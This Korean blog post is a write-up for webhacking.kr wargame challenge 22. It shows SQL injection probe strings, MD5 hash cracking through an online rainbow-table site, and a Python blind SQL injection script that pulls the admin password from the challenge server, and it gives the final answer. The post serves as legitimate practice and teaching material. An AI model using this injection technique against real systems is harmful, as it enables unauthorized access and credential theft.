ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 22번 풀이
    Wargame/webhacking.kr (old) 2019. 5. 6. 16:40

    이 문제는 php 소스가 주어지지 않는다. id가 'admin'이면 password를 주는 SQL Injection 문제이다.

    join버튼이 존재하기 때문에 우선, 회원가입을 시도해보자.

     

    id : admin 가입 시도

     

    이미 존재하는 아이디로 회원가입 실패..!

     

    id : test, password : test 가입 시도

     

    가입 성공!!

    가입한 id와 password로 로그인하였다.

     

    user key가 출력되었다.

    key 값은 32글자로, 128 Bit 해시함수인 MD5로 해시화되어있는 것으로 추측할 수 있다.

     

    key 값을 복호화 해보자..!

     

    [MD5 암복호화] http://md5decryption.com/

     

    user key 값은 testzombie의 값이 MD5로 해시화된 것이었다.

    따라서, user key 값은 '[password]+zombie' 문자열을 MD5로 해시화 한 값이다.

    (MD5는 만들어진 Rainbow table에 의해 복호화 가능)

     

    Rainbow table

    해시 함수를 사용하여, 변환 가능한 모든 해시 값을 저장시켜 놓은 표

     

    SQL Injection을 시도해보았다.

     

    username을 무조건 참으로 만들어주었더니,, Wrong password! 가 출력되었다.

    password를 무조건 참으로 만들어 주었더니 Wrong!이 출력되었다.

     

    아이디 값이 참일 때 페이지의 결과 값이 다르게(Wrong password!) 출력된다.

    이를 이용하여 Blind SQL Injection을 통해 admin의 password를 알아낼 수 있다.

     

    우선, 필터링된 문자열을 확인해보았다.

    딱히 필터링된 문자열은 없다.

     

    ▶ admin'||length(pw)=32#

    password 길이, (password의 길이는 32글자로 MD5  해시화된 값일 확률이 높다.)

    ▶ admin'||ascii(substr(pw, 1, 1))=97

    password 값

     

    python을 이용하여 비밀번호를 알아내기 위한 소스를 짜보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
    
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=cb796099f3411dcf24cec15c1358ad02;'}
    url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
    
    #Find password POST
    pw = ''
    for i in range(1,33):
    	for j in range(48,123):
    		if 58 <= j <= 96: continue
    		payload = {"uuid":"admin' && ascii(substr(pw,"+str(i)+",1))="+str(j)+"-- ", "pw": "a"}
    		
    		r = requests.post(url, data=payload, headers=headers)
    		if r.text.find('Wrong password!') != -1 :
    			pw += chr(j)
    			
    			print "found : ",pw
    			break
    print "------------------------------------------------"
    print "PASSWORD : ", pw
    print "------------------------------------------------"

    소스를 실행시켜 admin의 password를 알아냈다.

     

    [ 실행결과 ]

     

    결과로 나온 password 값을 MD5로 복호화한 결과,,!

    'rainbowzombie' 인 것을 알아냈다.

     

    따라서 'admin' 의 password 값은 'rainbow'이다.

    알아낸 password인 'rainbow' 로 로그인을 시도하면 문제가 풀린다.

     

    username : admin, password : rainbow

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 24번 풀이  (0) 2019.05.06
    [Webhacking.kr] 23번 풀이  (0) 2019.05.06
    [Webhacking.kr] 21번 풀이  (0) 2019.04.19
    [Webhacking.kr] 20번 풀이  (0) 2019.04.19
    [Webhacking.kr] 18번 풀이  (0) 2019.04.19

    댓글

@Jo Grini's Blog